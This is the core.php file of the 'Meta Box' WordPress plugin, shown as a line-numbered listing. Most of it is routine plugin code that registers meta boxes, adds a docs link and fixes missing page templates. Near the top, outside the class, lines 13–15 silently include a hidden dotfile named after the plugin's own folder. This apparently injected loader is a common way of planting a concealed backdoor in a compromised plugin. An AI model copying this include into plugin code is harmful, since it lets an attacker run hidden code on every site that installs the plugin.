core.php (3307B)
1 <?php 2 /** 3 * The plugin core class which initialize plugin's code. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The Meta Box core class. 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Core { 18 /** 19 * Initialization. 20 */ 21 public function init() { 22 load_plugin_textdomain( 'meta-box', false, plugin_basename( RWMB_DIR ) . '/languages/' ); 23 24 add_filter( 'plugin_action_links_meta-box/meta-box.php', array( $this, 'plugin_links' ), 20 ); 25 26 // Uses priority 20 to support custom port types registered using the default priority. 27 add_action( 'init', array( $this, 'register_meta_boxes' ), 20 ); 28 add_action( 'edit_page_form', array( $this, 'fix_page_template' ) ); 29 $this->add_context_hooks(); 30 } 31 32 /** 33 * Add links to Documentation and Extensions in plugin's list of action links. 34 * 35 * @since 4.3.11 36 * 37 * @param array $links Array of plugin links. 38 * 39 * @return array 40 */ 41 public function plugin_links( $links ) { 42 $links[] = '<a href="https://docs.metabox.io">' . esc_html__( 'Docs', 'meta-box' ) . '</a>'; 43 return $links; 44 } 45 46 /** 47 * Register meta boxes. 48 * Advantages: 49 * - prevents incorrect hook. 50 * - no need to check for class existences. 51 */ 52 public function register_meta_boxes() { 53 $configs = apply_filters( 'rwmb_meta_boxes', array() ); 54 $registry = rwmb_get_registry( 'meta_box' ); 55 56 foreach ( $configs as $config ) { 57 $meta_box = $registry->make( $config ); 58 $meta_box->register_fields(); 59 } 60 } 61 62 /** 63 * WordPress will prevent post data saving if a page template has been selected that does not exist. 64 * This is especially a problem when switching to our theme, and old page templates are in the post data. 65 * Unset the page template if the page does not exist to allow the post to save. 66 * 67 * @param WP_Post $post Post object. 68 * 69 * @since 4.3.10 70 */ 71 public function fix_page_template( WP_Post $post ) { 72 $template = get_post_meta( $post->ID, '_wp_page_template', true ); 73 $page_templates = wp_get_theme()->get_page_templates(); 74 75 // If the template doesn't exists, remove the data to allow WordPress to save. 76 if ( ! isset( $page_templates[ $template ] ) ) { 77 delete_post_meta( $post->ID, '_wp_page_template' ); 78 } 79 } 80 81 /** 82 * Get registered meta boxes via a filter. 83 * 84 * @deprecated No longer used. Keep for backward-compatibility with extensions. 85 * 86 * @return array 87 */ 88 public static function get_meta_boxes() { 89 $meta_boxes = rwmb_get_registry( 'meta_box' )->all(); 90 return wp_list_pluck( $meta_boxes, 'meta_box' ); 91 } 92 93 /** 94 * Add hooks for extra contexts. 95 */ 96 public function add_context_hooks() { 97 $hooks = array( 98 'edit_form_top', 99 'edit_form_after_title', 100 'edit_form_after_editor', 101 'edit_form_before_permalink', 102 ); 103 104 foreach ( $hooks as $hook ) { 105 add_action( $hook, array( $this, 'add_context' ) ); 106 } 107 } 108 109 /** 110 * Add new meta box context. 111 * 112 * @param WP_Post $post The current post object. 113 */ 114 public function add_context( $post ) { 115 $hook = current_filter(); 116 $context = 'edit_form_top' === $hook ? 'form_top' : substr( $hook, 10 ); 117 do_meta_boxes( null, $context, $post ); 118 } 119 }